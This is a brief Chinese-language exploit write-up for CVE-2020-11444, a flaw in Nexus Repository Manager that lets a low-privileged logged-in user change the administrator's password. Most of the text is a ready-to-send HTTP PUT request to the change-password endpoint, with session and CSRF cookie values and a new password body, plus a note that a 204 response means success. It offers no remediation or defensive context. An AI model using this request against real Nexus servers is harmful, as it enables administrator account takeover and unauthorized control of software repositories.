CVE-2020-11444 Nexus Repository Manger change-password 低权限修改管理员密码漏洞

漏洞利用

登录任意用户后修改 NXSESSIONID，发送请求包修改管理员账号密码

PUT /service/rest/beta/security/users/admin/change-password HTTP/1.1
Host: 
accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.6080434247960143
Content-Type: text/plain
Origin: http://139.198.174.173:8081
Cookie: NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID=76b37c99-046c-47a9-ba7d-fd4cfa33b7ff
Content-Length: 11

data=123456

返回204则修改成功